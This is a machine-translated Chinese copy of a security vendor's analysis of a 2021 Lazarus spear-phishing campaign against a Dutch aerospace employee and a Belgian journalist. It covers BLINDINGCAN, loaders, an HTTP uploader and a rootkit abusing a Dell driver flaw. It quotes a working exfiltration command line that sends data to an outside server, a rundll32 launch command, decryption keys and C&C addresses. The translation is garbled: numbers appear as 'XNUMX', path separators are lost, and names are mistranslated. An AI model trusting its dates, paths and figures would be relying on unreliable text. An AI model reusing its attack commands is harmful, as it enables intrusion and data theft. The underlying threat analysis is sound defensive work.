Lazarus 在荷兰和比利时开展的以亚马逊为主题的活动 PlatoBlockchain Data Intelligence。垂直搜索。人工智能。

Lazarus 在荷兰和比利时的亚马逊主题活动

ESET 研究人员发现 Lazarus 攻击荷兰和比利时的目标,这些目标使用与虚假工作机会相关的鱼叉式网络钓鱼电子邮件

ESET 研究人员发现并分析了臭名昭著的 Lazarus APT 组织在 2021 年秋季在攻击中使用的一组恶意工具。该活动从包含恶意亚马逊主题文档的鱼叉式网络钓鱼电子邮件开始,并针对荷兰一家航空航天公司的一名员工和比利时的政治记者。 攻击者的主要目标是数据泄露。 Lazarus(也称为 HIDDEN COBRA)至少从 2009 年开始就活跃起来。它负责高调的事件,例如 索尼影视娱乐黑客 和数千万美元 2016 年的网络抢劫者是, WannaCryptor (又名 WannaCry)于 2017 年爆发,以及针对 韩国公共和关键基础设施 至少从 2011 年开始。

这篇博文的主要发现:

  • Lazarus 活动针对荷兰一家航空航天公司的一名员工和比利时的一名政治记者。
  • 该活动中使用的最引人注目的工具是首次记录的对 CVE-2021-21551 漏洞的滥用。 此漏洞影响 Dell DBUtil 驱动程序; 戴尔于 2021 年 XNUMX 月提供了安全更新。
  • 该工具与漏洞相结合,会禁用对受感染机器上所有安全解决方案的监控。 它使用以前从未在恶意软件中观察到的针对 Windows 内核机制的技术。
  • Lazarus 还在这次活动中使用了他们功能齐全的 HTTP(S) 后门,称为 BLINDINGCAN。
  • 攻击的复杂性表明,Lazarus 由一个系统组织且准备充分的大型团队组成。

两个目标都收到了工作机会——荷兰的员工通过 LinkedIn 消息收到了附件,比利时的人通过电子邮件收到了文件。 这些文件被打开后,攻击就开始了。 攻击者在每个系统上部署了多个恶意工具,包括释放器、加载器、功能齐全的 HTTP(S) 后门、HTTP(S) 上传器和下载器。 释放器之间的共同点是它们是木马化的开源项目,使用现代分组密码解密嵌入式有效负载,长密钥作为命令行参数传递。 在许多情况下,恶意文件是由合法 EXE 侧加载的 DLL 组件,但来自文件系统中的不寻常位置。

攻击者提供的最引人注目的工具是一个用户模式模块,它获得了读取和写入内核内存的能力,因为 CVE-2021-21551 合法戴尔驱动程序中的漏洞。 这是有记录以来首次在野外滥用此漏洞。 然后,攻击者使用他们的内核内存写访问来禁用 Windows 操作系统提供的七种机制来监视其操作,如注册表、文件系统、进程创建、事件跟踪等,基本上以一种非常通用和强大的方式使安全解决方案失明。

在这篇博文中,我们解释了活动的背景,并提供了所有组件的详细技术分析。 这项研究在今年的 病毒通报会议. 由于独创性,演示文稿的主要重点是在此攻击中使用的恶意组件,该组件使用自带易受攻击的驱动程序 (BYOVD) 技术并利用上述 CVE-2021-21551 漏洞。 白皮书中提供了详细信息 Lazarus & BYOVD:Windows 核心的邪恶.

基于特定模块、代码签名证书以及与以前的 Lazarus 活动(如 运营感知  和 梦想工作行动. Lazarus 活动实施的多样性、数量和怪癖定义了这一群体,并且它执行网络犯罪活动的所有三大支柱:网络间谍、网络破坏和追求经济利益。

初始访问

ESET 研究人员发现了两种新的攻击:一种针对比利时一家媒体机构的人员,另一种针对荷兰一家航空航天公司的员工。

在荷兰,这次攻击影响了一台连接到公司网络的 Windows 10 计算机,在该计算机上,一名员工通过 LinkedIn Messaging 联系到了一份潜在的新工作,导致发送了一封带有文档附件的电子邮件。 我们联系了受影响公司的安全从业人员,他们能够与我们共享恶意文档。 字文件 Amzon_Netherlands.docx 发送给目标的只是带有亚马逊徽标的大纲文档(参见图 1)。 打开时,远程模板 https://thetalkingcanvas[.]com/thetalking/globalcareers/us/5/careers/jobinfo.php?image=_DO.项目 (哪里 是一个七位数字)被提取。 我们无法获取内容,但我们假设它可能包含亚马逊太空计划的工作机会, Kuiper计划. 这是拉撒路在 运营感知 梦想工作行动 针对航空航天和国防工业的运动。

Lazarus 在荷兰和比利时开展的以亚马逊为主题的活动 PlatoBlockchain Data Intelligence。垂直搜索。人工智能。

图 1. 发送给荷兰目标的亚马逊主题文档

几个小时内,几个恶意工具被传送到系统中,包括 dropper、加载器、功能齐全的 HTTP(S) 后门、HTTP(S) 上传器和 HTTP(S) 下载器; 请参阅工具集部分。

关于比利时的袭击事件,通过一封带有诱饵的电子邮件联系了一家新闻公司的员工(其电子邮件地址在公司网站上公开) AWS_EMEA_Legal_.docx 随附的。 由于我们没有获得该文件,我们只知道它的名称,这表明它可能一直在提供合法职位的工作机会。 打开文档后,攻击被触发,但立即被 ESET 产品阻止,只涉及一个恶意可执行文件。 这里有趣的方面是,当时,这个二进制文件是用代码签名证书有效签名的。

归因

我们高度自信地将这两次攻击归因于 Lazarus 组织。 这是基于以下因素,这些因素显示了与其他 Lazarus 活动的关系:

  1. 恶意软件(入侵集):
    1. HTTPS 后门(SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2) 与 BLINDINGCAN 后门有很强的相似性,据报道 CISA(美国证书),并归因于 HIDDEN COBRA,这是他们拉撒路的代号。
    2. HTTP(S) 上传器与该工具有很强的相似之处 C:程序数据IBM~DF234.TMP 在...中提到 HvS 咨询公司的报告, 第 2.10 节渗出。
    3. 完整的文件路径和名称, %ALLUSERSPROFILE%AdobeAdobe.tmp,与卡巴斯基在 2021 年 XNUMX 月关于 Lazarus 的白皮书中报告的相同 操作威胁针,针对国防工业。
    4. 发给美国公司的代码签名证书 “A”医疗办公室,PLLC 并用于签署其中一个滴管,也被报道在 针对安全研究人员的运动; 另请参阅 Lazarus 组:2 TOY GUYS 活动, ESET 威胁报告 2021 T1,第 11 页。
    5. 在这次 Lazarus 活动的工具中利用了一种不寻常的加密类型:HC-128。 Lazarus 过去使用的其他不太流行的密码:RC4 的 Spritz 变体 针对波兰和墨西哥银行的水坑攻击; 后来 Lazarus 在 运营感知; 修改后的 A5/1 流密码用于 WIZVERA VeraPort 供应链攻击.
  2. 基础设施:
    1. 对于一级 C&C 服务器,攻击者不使用自己的服务器,而是攻击现有的服务器。 这是拉撒路的典型但缺乏自信的行为。

工具箱

Lazarus 的典型特征之一是它以两个或三个阶段的序列形式交付最终有效载荷。 它从一个 dropper(通常是一个木马化的开源应用程序)开始,它使用像 AES-128 这样的现代分组密码(这对于 Lazarus 来说并不罕见,例如, 操作书码,或混淆的 XOR,在解析命令行参数以获得强键之后。 尽管嵌入式有效负载没有被拖放到文件系统中,而是直接加载到内存中并执行,但我们将此类恶意软件称为 dropper。 没有加密缓冲区但从文件系统加载有效负载的恶意软件,我们将其称为加载程序。

释放器可能(表 1)或可能不会(表 2)由合法(Microsoft)进程侧加载。 在第一种情况下,合法应用程序位于不寻常的位置,恶意组件具有应用程序导入中相应 DLL 的名称。 例如,恶意 DLL 库洛伊.dll 由合法的系统应用程序颜色控制面板(颜色程序),两者都位于 C:程序数据PTC. 但是,此合法应用程序的通常位置是 %WINDOWS%系统32.

在所有情况下,在运行时至少传递一个命令行参数,作为解密嵌入式负载所需的外部参数。 采用多种解密算法; 请参见表 1 和表 2 中的最后一列。在使用 AES-128 的几种情况下,还有一个内部硬编码参数以及父进程的名称及其 DLL 名称,所有这些都是成功解密所必需的。

表 1. 合法进程从异常位置侧加载的恶意 DLL

位置文件夹 合法的父进程 恶意侧载 DLL 木马项目 外部参数 解密算法
C:程序数据PTC 颜色程序 colorui.dll LibreSSL 2.6.5 的 libcrypto BE93E050D9C0EAEB1F0E6AE13C1595B5
(加载 BLINDINGCAN)
XOR
C:WindowsVss 文件系统 credui.dll GOnpp v1.2.0.0(记事本++插件) A39T8kcfkXymmAcq
(加载中间加载器)
AES-128
C:Windows安全 文件系统 credui.dll FingerText 0.56.1(Notepad++ 插件) AES-128
C:程序数据Caphyon wsmprovhost.exe 动态链接库 lecui 1.0.0 阿尔法 10 AES-128
C:WindowsMicrosoft.NETFramework64v4.0.30319 SMSvcHost.exe 加密文件.dll lecui 1.0.0 阿尔法 10 AES-128

表 2. 参与攻击的其他恶意软件

位置文件夹 恶意软件 木马项目 外部参数 解密算法
C:公共缓存 msdxm文件 libpcre 8.44 93E41C6E20911B9B36BC
(加载 HTTP(S) 下载器)
XOR
C:程序数据Adobe Adobe.tmp SQLite 3.31.1 S0RMM-50QQE-F65DN-DCPYN-5QEQA
(加载 HTTP(S) 更新程序)
XOR
C:公共缓存 msdxm文件 ssl嗅探器 失踪 HC-128

成功解密后,检查缓冲区的正确 PE 格式并将执行传递给它。 这个过程可以在大多数的 dropper 和 loader 中找到。 它的开头可以在图 2 中看到。

Lazarus 在荷兰和比利时开展的以亚马逊为主题的活动 PlatoBlockchain Data Intelligence。垂直搜索。人工智能。

图 2. 解密后的缓冲区是 64 位可执行文件

HTTP(S) 后门:BLINDINGCAN

我们确定了攻击中使用的功能齐全的 HTTP(S) 后门——一种称为 BLINDINGCAN 的 RAT。

此有效负载的 dropper 被执行为 %ALLUSERSPROFILE%PTCcolorui.dll; 详见表 1。 使用简单的 XOR 提取和解密有效负载,但使用长密钥,这是通过连接父进程的名称构建的字符串,是自己的文件名,以及外部命令行参数 - 这里 COLORCPL.EXECOLORUI.DLLBE93E050D9C0EAEB1F0E6AE13C1595B5.

有效载荷,SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2, 是一个 64 位 VMProtect-ed DLL。 与远程位置之一建立连接 https://aquaprographix[.]com/patterns/Map/maps.php or https://turnscor[.]com/wp-includes/feedback.php. 在虚拟化代码中,我们通过在可执行文件中找到的以下非常具体的 RTTI 工件进行旋转: .?AVCHTTP_Protocol@@, .?AVCFileRW@@. 此外,在代码级别上也有相似之处,因为命令的索引以相同的值开头, 8201; 参见图 3。这有助于我们将此 RAT 识别为 BLINDINGCAN (SHA-1: 5F4FBD57319BD0D2DF31131E864FDDA9590A652D),第一次报道 CISA. 在另一个以亚马逊为主题的活动中观察到此有效负载的最新版本,其中 BLINDINGCAN 被木马化的 Putty-0.77 客户端删除:请参阅 Mandiant 的博客。

图 3. BLINDINGCAN 的普通(上层,未受保护)和虚拟化(下层,VMProtect-ed)变体的代码比较,两个命令索引一致,8256 和 8201

根据操作员可用的命令代码的数量,很可能有一个服务器端控制器可用,操作员可以在其中控制和探索受感染的系统。 在此控制器中执行的操作可能会导致将相应的命令 ID 及其参数发送到目标系统上运行的 RAT。 命令代码列表如表 3 所示,与 JPCERT/CC, 附录 C。没有对文件夹或文件名等参数的验证检查。 这意味着所有检查都必须在服务器端实现,这表明服务器端控制器是一个复杂的应用程序,很可能具有用户友好的 GUI。

表 3. RAT 的命令

命令 课程描述
8201 发送系统信息,例如计算机名称、Windows 版本和代码页。
8208 获取映射的 RDP 文件夹中所有文件的属性 (客户端C 等等)。
8209 递归获取本地文件的属性。
8210 在控制台中执行命令,将输出存储到临时文件,然后上传。
8211 将文件压缩到临时文件夹并上传。
8212 下载文件并更新其时间信息。
8214 在控制台中创建一个新进程并收集输出。
8215 在指定令牌表示的用户的安全上下文中创建一个新进程并收集输出。
8217 递归创建进程树列表。
8224 终止一个进程。
8225 安全地删除文件。
8226 通过 TCP 套接字启用非阻塞 I/O (套接字(AF_INET,SOCK_STREAM,IPPROTO_TCP) 使用 FIONBIO 控制代码)。
8227 设置当前进程的当前目录。
8231 更新所选文件的时间信息。
8241 将当前配置发送到 C&C 服务器。
8242 更新配置。
8243 递归列出目录结构。
8244 获取驱动器的类型和可用磁盘空间。
8249 继续执行下一个命令。
8256 从 C&C 服务器请求另一个命令。
8262 重写文件而不更改其上次写入时间。
8264 将文件复制到另一个目的地。
8265 将文件移动到另一个目的地。
8272 删除一个文件。
8278 截取屏幕截图。

中间装载机

现在我们描述一个三阶段链,不幸的是,我们只能识别前两个步骤:一个 dropper 和一个中间加载器。

第一阶段是一个滴管,位于 C:WindowsVsscredui.dll 并且是通过一个合法的——但容易受到 DLL 搜索顺序劫持的——带有(外部)参数的应用程序运行的 C:WindowsVssWFS.exe A39T8kcfkXymmAcq。 该程序 文件系统 是 Windows 传真和扫描应用程序的副本,但其标准位置是 %WINDOWS%系统32.

滴管是木马化的 GOnpp 插件 Notepad++,用 Go 编程语言编写。 解密后,dropper 会检查缓冲区是否是有效的 64 位可执行文件,如果是,则将其加载到内存中,以便第二阶段准备好执行。

这个中间阶段的目标是在内存中加载一个额外的有效负载并执行它。 它分两步执行此任务。 它首先读取并解密配置文件 C:windowsSystem32wlansvc.cpl,它不是,正如它的扩展名所暗示的那样,一个(加密的)可执行文件,而是一个包含数据块的数据文件 14944 字节与配置。 我们没有来自当前攻击的特定数据; 然而,我们从另一个 Lazarus 攻击中获得了这样的配置:参见图 5。该配置预计以一个双字开头,表示剩余缓冲区的总大小(参见下面图 69 中的第 4 行和变量 u32总尺寸),然后是一个数组 14944 包含至少两个值的字节长结构:加载 DLL 的名称作为占位符,用于标识配置的其余部分(在图 168 中第 74 行的偏移 4 处和图 5 中突出显示的成员)。

Lazarus 在荷兰和比利时开展的以亚马逊为主题的活动 PlatoBlockchain Data Intelligence。垂直搜索。人工智能。

图 4. 解密配置文件并检查加载 DLL 的名称是否与预期匹配的第一步

第二步是读取、解密和加载这个文件的动作,这很可能代表了第三个也是最后一个阶段。 它预计是一个 64 位的可执行文件,并以与第一阶段 dropper 处理中间加载程序相同的方式加载到内存中。 在执行开始时,将创建一个互斥锁作为字符串的串联 全局应用程序兼容缓存对象 及其 DLL 名称的 CRC32 校验和(credui.dll) 表示为有符号整数。 该值应等于 GlobalAppCompatCacheObject-1387282152 if wlansvc.cpl 存在并且 -1387282152 除此以外。

Lazarus 在荷兰和比利时开展的以亚马逊为主题的活动 PlatoBlockchain Data Intelligence。垂直搜索。人工智能。

图 5. 中间加载器的配置。 突出显示的文件名应与正在运行的恶意软件的名称匹配; 另请参见图 4。

一个有趣的事实是使用这种解密算法(图 4,第 43 和 68 行),这在 Lazarus 工具集中和一般恶意软件中并不普遍。 常数 0xB7E151630x61C88647 (是的 -0x9E3779B9; 参见图 6,第 29 行和第 35 行) 关键扩展 建议它是 RC5 或 RC6 算法。 通过检查算法的主解密循环,可以确定它是两者中更复杂的一个,RC6。 使用这种不常见加密的复杂威胁的一个例子是 Equations Group 的 BananaUsurper; 看 卡巴斯基的报告 从2016。

Lazarus 在荷兰和比利时开展的以亚马逊为主题的活动 PlatoBlockchain Data Intelligence。垂直搜索。人工智能。

图 6. RC6 的密钥扩展

HTTP(S) 下载器

使用 HTTP(S) 协议的下载器也被传送到目标系统。

它由第一阶段的 dropper 安装(SHA1: 001386CBBC258C3FCC64145C74212A024EAA6657),这是一个木马 libpcre-8.44 图书馆。 它是由命令执行的

cmd.exe /c start /b rundll32.exe C:PublicCachemsdxm.ocx,sCtrl 93E41C6E20911B9B36BC

(该参数是用于提取嵌入有效载荷的 XOR 键;参见表 2)。 滴管还通过创建 OneNoteTray.LNK 文件位于 %APPDATA%MicrosoftWindows开始菜单程序启动 文件夹中。

第二阶段是一个 32 位 VMProtect-ed 模块,它向存储在其配置中的 C&C 服务器发出 HTTP 连接请求; 参见图 7。它使用相同的用户代理 – 摩斯拉/5.0 (Windows NT 6.1;WOW64) 铬/28.0.1500.95 Safari/537.36 – 作为 BLINDINGCAN RAT,包含 RTTI 伪影 .?AVCHHTTP_Protocol@@ 但不 .?AVCFileRW@@,并且缺少截屏、归档文件或通过命令行执行命令等功能。 它能够将可执行文件加载到新分配的内存块并将代码执行传递给它。

Lazarus 在荷兰和比利时开展的以亚马逊为主题的活动 PlatoBlockchain Data Intelligence。垂直搜索。人工智能。

图 7. HTTP(S) 下载器的配置。 突出显示的值是配置的大小和 URL 的数量。 在我们观察到的攻击中,所有 URL 都是相同的。

HTTP(S) 上传器

这个 Lazarus 工具负责通过使用 HTTP 或 HTTPS 协议进行数据泄露。

它也分两个阶段交付。 最初的 dropper 是木马 sqlite-3.31.1 图书馆。 Lazarus 样本通常不包含 PDB 路径,但是这个加载器有一个, W:DevelopToolHttpUploaderHttpPOSTPro_BINRUNDLL64sqlite3.pdb,这也立即表明了它的功能——一个 HTTP 上传器。

dropper 需要多个命令行参数:其中一个是解密和加载嵌入式有效负载所需的密码; 其余参数传递给有效负载。 我们没有捕捉到参数,但幸运的是,在法医调查中观察到了该工具的疯狂使用 HvS 咨询:

C:ProgramDataIBM~DF234.TMP S0RMM-50QQE-F65DN-DCPYN-5QEQA https://www.gonnelli.it/uploads/catalogo/thumbs/thumb.asp C:ProgramDataIBMrestore0031.dat data03 10000 -p 192.168.1.240 8080

第一个参数, S0RMM-50QQE-F65DN-DCPYN-5QEQA, 作为 dropper 解密例程的密钥(更准确地说,首先执行混淆,其中加密缓冲区被异或,其副本移动一个字节;然后用密钥进行异或解密)。 其余参数存储在结构中并传递到第二阶段。 其含义解释见表 4。

表 4. HTTP(S) 更新程序的命令行参数

产品型号 说明
1 S0RMM-50QQE-F65DN-DCPYN-5QEQA 一个 29 字节的解密密钥。
2 https:// 用于数据泄露的 C&C。
3 C:ProgramDataIBMrestore0031.dat 本地 RAR 卷的名称。
4 data03 服务器端存档的名称。
5 10,000 RAR 拆分的大小(最大 200,000 kB)。
6 拆分的起始索引。
7 拆分的结束索引。
8 -p 192.168.1.240 8080 一个开关 -p
9 代理 IP 地址
10 代理端口

第二阶段是 HTTP 上传器本身。 此阶段的唯一参数是包含用于渗出的 C&C 服务器的结构、本地 RAR 存档的文件名、服务器端 RAR 存档的根名称、RAR 拆分的总大小(以千字节为单位)、可选拆分索引的范围,以及一个可选的 -p 使用内部代理 IP 和端口切换; 见表 4。例如,如果 RAR 档案被分成 88 个块,每个 10,000 kB 大,那么上传者将提交这些拆分并将它们存储在服务器端的名称下 数据03.000000.avi, 数据03.000001.avi,... 数据03.000087.avi. 请参阅图 8 第 42 行,这些字符串已被格式化。

User-Agent 与 BLINDINGCAN 和 HTTP(S) 下载器相同,  摩斯拉/5.0 (视窗 NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36。

Lazarus 在荷兰和比利时开展的以亚马逊为主题的活动 PlatoBlockchain Data Intelligence。垂直搜索。人工智能。

图 8. RAR 分流到 C&C 服务器

FudModule Rootkit

我们发现了一个内部名称为 FudModule.dll 的动态链接库,它试图禁用各种 Windows 监控功能。 它通过修改内核变量和删除内核回调来做到这一点,这是可能的,因为模块通过利用 BYOVD 技术获得了在内核中写入的能力——具体 CVE-2021-21551 戴尔驱动程序 dbutil_2_3.sys 中的漏洞。

此恶意软件的完整分析可作为 VB2022 论文获得 Lazarus & BYOVD:Windows 核心的邪恶.

其他恶意软件

在攻击中发现了额外的释放器和加载器,但我们没有获得必要的参数来解密嵌入式有效负载或加密文件。

木马lecui

一个专案 lecui 亚历克·穆萨法 为攻击者提供了两个额外加载程序的木马化代码库。 通过它们的文件名,它们被伪装成 Microsoft 库 动态链接库 (管理基础设施)和 加密文件.dll (加密服务提供者 API),这是由于合法应用程序的预期侧载 wsmprovhost.exeSMSvcHost.exe, 分别; 见表 1。

这些加载器的主要目的是读取和解密位于 备用数据流 (ADS) 在 C:ProgramDataCaphyonmi.dll:区域标识符C:Program FilesWindows Media PlayerSkinsDarkMode.wmz:Zone.Identifier, 分别。 由于我们还没有获得这些文件,因此不知道其中隐藏了哪些有效载荷; 但是,唯一可以确定的是它是一个可执行文件,因为加载过程在解密之后(参见图 2)。 ADS 的使用并不新鲜,因为 Ahnlab 报告了一个 Lazarus攻击韩国公司 2021 年 XNUMX 月涉及此类技术。

特洛伊木马指纹

ESET 阻止了一个额外的木马开源应用程序, erinata 的 FingerText 0.5.61,位于 %WINDIR%securitycredui.dll. 正确的命令行参数未知。 与之前的某些情况一样,嵌入式有效负载的 AES-128 解密需要三个参数:父进程的名称, 文件系统; 内部参数, mg89h7MsC5Da4ANi; 以及缺少的外部参数。

木马 sslSniffer

针对比利时目标的攻击在其部署链的早期被阻止,因此只识别了一个文件,一个 32 位的 dropper,位于 C:PublicCachemsdxm.ocx. 它是一个 sslSniffer 组件,来自 狼SSL 已被木马化的项目。 在攻击发生时,它已使用颁发给 “A”医疗办公室,PLLC (参见图 8),它已过期。

Lazarus 在荷兰和比利时开展的以亚马逊为主题的活动 PlatoBlockchain Data Intelligence。垂直搜索。人工智能。

图 9. 有效签名但已过期的证书

它有两个合法 DLL 没有的恶意导出: 设置OfficeCertInit设置OfficeCert. 两个导出都需要两个参数。 第一次导出的目的是通过创建来建立持久性 OfficeSync.LNK, 位于 %APPDATA%MicrosoftWindows开始菜单程序启动,指向恶意 DLL 并通过 rundll32.exe 运行其第二次导出,并将参数传递给自身。

第二次出口, 设置OfficeCert,使用第一个参数作为密钥来解密嵌入的有效载荷,但我们无法提取它,因为我们不知道密钥。

解密算法也很有趣,因为攻击者使用 HC-128 将 128 位密钥作为第一个参数,对于其 128 位初始化向量,字符串 FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF. 揭示密码的常数如图 10 所示。

Lazarus 在荷兰和比利时开展的以亚马逊为主题的活动 PlatoBlockchain Data Intelligence。垂直搜索。人工智能。

图 10. 带有突出显示的常量的密钥设置表明 HC-128 密码

结论

在这次攻击以及许多其他归因于 Lazarus 的攻击中,我们看到许多工具甚至分布在感兴趣的网络中的单个目标端点上。 毫无疑问,这次袭击背后的团队规模庞大,组织系统化,准备充分。 攻击者第一次能够利用 CVE-2021-21551 关闭对所有安全解决方案的监控。 它不仅在内核空间中完成,而且还以一种健壮的方式完成,使用了一系列很少或未记录的 Windows 内部结构。 毫无疑问,这需要深入的研究、开发和测试技能。

从防御者的角度来看,限制初始访问的可能性似乎比阻止在确定的攻击者在系统中站稳脚跟后安装的强大工具集更容易。 与过去的许多情况一样,员工中了攻击者的诱饵是这里最初的失败点。 在敏感网络中,公司应坚持员工不要在属于公司基础设施的设备上追求他们的个人议程,例如求职。

如果对我们在 WeLiveSecurity 上发表的研究有任何疑问,请通过以下方式联系我们 威胁intel@eset.com.

ESET Research 现在还提供私人 APT 情报报告和数据馈送。 有关此服务的任何查询,请访问 ESET 威胁情报 页面上发布服务提醒。

国际石油公司

完整的妥协指标列表和示例可以在我们的 GitHub上 库。

SHA-1 文件名 检测 课程描述
296D882CB926070F6E43C99B9E1683497B6F17C4 FudModule.dll Win64/Rootkit.NukeSped.A 与内核内存一起运行的用户模式模块。
001386CBBC258C3FCC64145C74212A024EAA6657 C:PublicCachemsdxm.ocx Win32/NukeSped.KQ HTTP(S) 下载器的释放器。
569234EDFB631B4F99656529EC21067A4C933969 colorui.dll Win64/NukeSped.JK 由合法 colorcpl.exe 侧载的 BLINDINGCAN 滴管。
735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2 Win64/NukeSped.JK BLINDINGCAN RAT 的 64 位变体。
4AA48160B0DB2F10C7920349E3DCCE01CCE23FE3 Win32/NukeSped.KQ HTTP(S) 下载器。
C71C19DBB5F40DBB9A721DC05D4F9860590A5762 Adobe.tmp Win64/NukeSped.JD HTTP(S) 上传器的释放器。
97DAAB7B422210AB256824D9759C0DBA319CA468 credui.dll Win64/NukeSped.JH 一个中间装载机的dropper。
FD6D0080D27929C803A91F268B719F725396FE79 Win64/NukeSped.LP HTTP(S) 上传器。
83CF7D8EF1A241001C599B9BCC8940E089B613FB Win64/NukeSped.JH 从文件系统加载额外有效负载的中间加载程序。
C948AE14761095E4D76B55D9DE86412258BE7AFD DBUtil_2_3.sys Win64/DBUtil.A 来自戴尔的合法易受攻击的驱动程序,由 FudModule.dll 删除。
085F3A694A1EECDE76A69335CD1EA7F345D61456 加密文件.dll Win64/NukeSped.JF 一个木马化 lecui 库形式的 dropper。
55CAB89CB8DABCAA944D0BCA5CBBBEB86A11EA12 动态链接库 Win64/NukeSped.JF 一个木马化 lecui 库形式的 dropper。
806668ECC4BFB271E645ACB42F22F750BFF8EE96 credui.dll Win64/NukeSped.JC 用于 Notepad++ 的木马化 FingerText 插件。
BD5DCB90C5B5FA7F5350EA2B9ACE56E62385CA65 msdxm文件 Win32/NukeSped.KT LibreSSL 的 sslSniffer 的特洛伊木马版本。

商业网络

IP Provider 初见 更多信息
67.225.140[.]4 液体网有限责任公司 2021-10-12 托管 C&C 服务器的基于 WordPress 的受感染合法站点
https://turnscor[.]com/wp-includes/feedback.php
50.192.28[.]29 康卡斯特有线通信有限责任公司 2021-10-12 托管 C&C 服务器的受感染合法站点 https://aquaprographix[.]com/patterns/Map/maps.php
31.11.32[.]79 阿鲁巴公司 2021-10-15 托管 C&C 服务器的受感染合法站点 http://www.stracarrara[.]org/images/img.asp

MITRE ATT&CK 技术

该表是使用 11版 MITRE ATT&CK 框架。

战术 ID 名字 课程描述
执行 T1106 原生API Lazarus HTTP(S) 后门使用 Windows API 创建新进程。
T1059.003 命令和脚本解释器:Windows 命令外壳 HTTP(S) 后门恶意软件使用 cmd.exe 执行命令行工具
防御规避 T1140 去混淆/解码文件或信息 许多 Lazarus 工具都以加密状态存储在文件系统上。
T1070.006 主机上的指示器移除:Timestamp Lazarus HTTP(S) 后门可以修改选定文件的文件时间属性。
T1574.002 劫持执行流程:DLL 侧载 许多 Lazarus 投放器和加载器使用合法程序进行加载。
T1014 Rootkit的 Lazarus 的用户到内核模块可以关闭操作系统的监控功能。
T1027.002 混淆文件或信息:软件打包 Lazarus 使用 Themida 和 VMProtect 来混淆他们的二进制文件
T1218.011 系统二进制代理执行:Rundll32 Lazarus 使用 rundll32.exe 执行其恶意 DLL
指挥和控制 T1071.001 应用层协议:Web 协议 Lazarus HTTP(S) 后门使用 HTTP 和 HTTPS 与其 C&C 服务器进行通信。
T1573.001 加密通道:对称密码学 Lazarus HTTP(S) 后门使用 AES-128 算法加密 C&C 流量。
T1132.001 数据编码:标准编码 Lazarus HTTP(S) 有效负载使用 base64 算法对 C&C 流量进行编码。
渗出 T1560.002 归档收集的数据:通过图书馆归档 Lazarus HTTP(S) 上传器可以压缩感兴趣的文件并将它们上传到它的 C&C。
资源开发 T1584.004 获取基础设施:服务器 所有 Lazarus HTTP(S) 后门、上传器和下载器都将受损服务器用作 C&C。
发展能力 T1587.001 恶意软件 攻击者可能开发了来自攻击的自定义工具。 有些表现出之前在 Lazarus 工具中看到的高度特定的内核开发能力。
执行 T1204.002 用户执行:恶意文件 目标被引诱打开恶意 Word 文档。
初始访问 T1566.003 网络钓鱼:通过服务进行鱼叉式网络钓鱼 目标是通过 LinkedIn 消息传递的。
T1566.001 网络钓鱼:鱼叉式钓鱼附件 目标收到恶意附件。
坚持 T1547.006 引导或登录自动启动执行:内核模块和扩展 BYOVD DBUtils_2_3.sys 已安装通过引导加载程序启动(值 0x00 ,在 Start 开始 关键在 HKLMSYSTEM‌CurrentControlSetServices.
T1547.001 启动或登录自动启动执行:启动文件夹 HTTP(S) 下载器的 dropper 创建一个 LNK 文件 OneNoteTray.LNK 在启动文件夹中。

参考资料

安拉布。 使用 BYOVD 进行 Lazarus Group Rootkit 攻击分析报告. 版本。 1.0。 22 年 2022 月 XNUMX 日。取自 AhnLab 安全应急响应中心。

安拉布。 (2021 年 4 月 XNUMX 日)。 使用库文件对国内公司进行 APT 攻击. 取自 AhnLab 安全应急响应中心。

安拉布。 (2022 年 22 月 XNUMX 日)。 使用 BYOVD 进行 Lazarus Group Rootkit 攻击分析报告. 取自 AhnLab 安全应急响应中心。

Breitenbacher, D. 和 Kaspars, O.(2020 年 XNUMX 月)。 (拦截)行动:网络间谍瞄准的航空航天和军事公司. 取自 WeLiveSecurity.com。

晴空研究团队。 (2020 年 13 月 XNUMX 日)。 “梦想工作”行动广泛的朝鲜间谍活动. 取自 ClearSky.com。

Dekel, K. (nd)。 哨兵实验室安全研究。 CVE-2021-21551 - 由于多个 BIOS 驱动程序权限提升缺陷,数亿台戴尔计算机面临风险. 从 SentinelOne.com 检索。

埃塞特。 (2021 年 3 月 XNUMX 日)。 ESET 威胁报告 T 1 2021. 取自 WeLiveSecurity.com。

伟大的。 (2016 年 16 月 XNUMX 日)。 方程式赠品. 从 SecureList.com 检索。

HvS 咨询公司。 (2020 年 15 月 XNUMX 日)。 来自拉撒路的问候:网络间谍活动的剖析. 取自 hvs-consulting.de。

Cherepanov, A. 和 Kálnai, P.(2020 年 XNUMX 月)。 韩国 Lazarus 供应链攻击. 取自 WeLiveSecurity.com。

Kálnai, P. (2017, 2 17)。 揭开针对波兰银行的目标恶意软件的神秘面纱. (ESET) 从 WeLiveSecurity.com 检索。

Kopeytsev, V. 和 Park, S.(2021 年 XNUMX 月)。 Lazarus 用 ThreatNeedle 瞄准国防工业. (卡巴斯基实验室)检索自 SecureList.com。

Lee, T.-w., Dong-wook, & Kim, B.-j. (2021 年)。 BookCode 行动——针对韩国. 病毒公报。 本地主机。 从 vblocalhost.com 检索。

Maclachlan, J.、Potaczek, M.、Isakovic, N.、Williams, M. 和 Gupta, Y.(2022 年 14 月 XNUMX 日)。 是时候使用腻子了! 通过 WhatsApp 进行的朝鲜工作机会网络钓鱼. 取自 Mandiant.com。

Tomonaga, S.(2020 年 29 月 XNUMX 日)。 BLINDINGCAN – Lazarus 使用的恶意软件. (JPCERT/CC) 取自 blogs.jpcert.or.jp。

美国证书 CISA。 (2020 年 19 月 XNUMX 日)。 MAR-10295134-1.v1 – 朝鲜远程访问木马:BLINDINGCAN. (CISA) 检索自 cisa.gov。

A. 魏德曼 (2021, 1 25)。 针对安全研究人员的新活动. (谷歌威胁分析组)检索自 blog.google。

吴H.(2008)。 流密码HC-128。 在 M. Robshaw 和 O. Billet 中, 新的流密码设计 (第 4986 卷)。 柏林,海德堡:斯普林格。 取自 doi.org。

Lazarus 在荷兰和比利时开展的以亚马逊为主题的活动 PlatoBlockchain Data Intelligence。垂直搜索。人工智能。

时间戳记:

更多来自 我们安全生活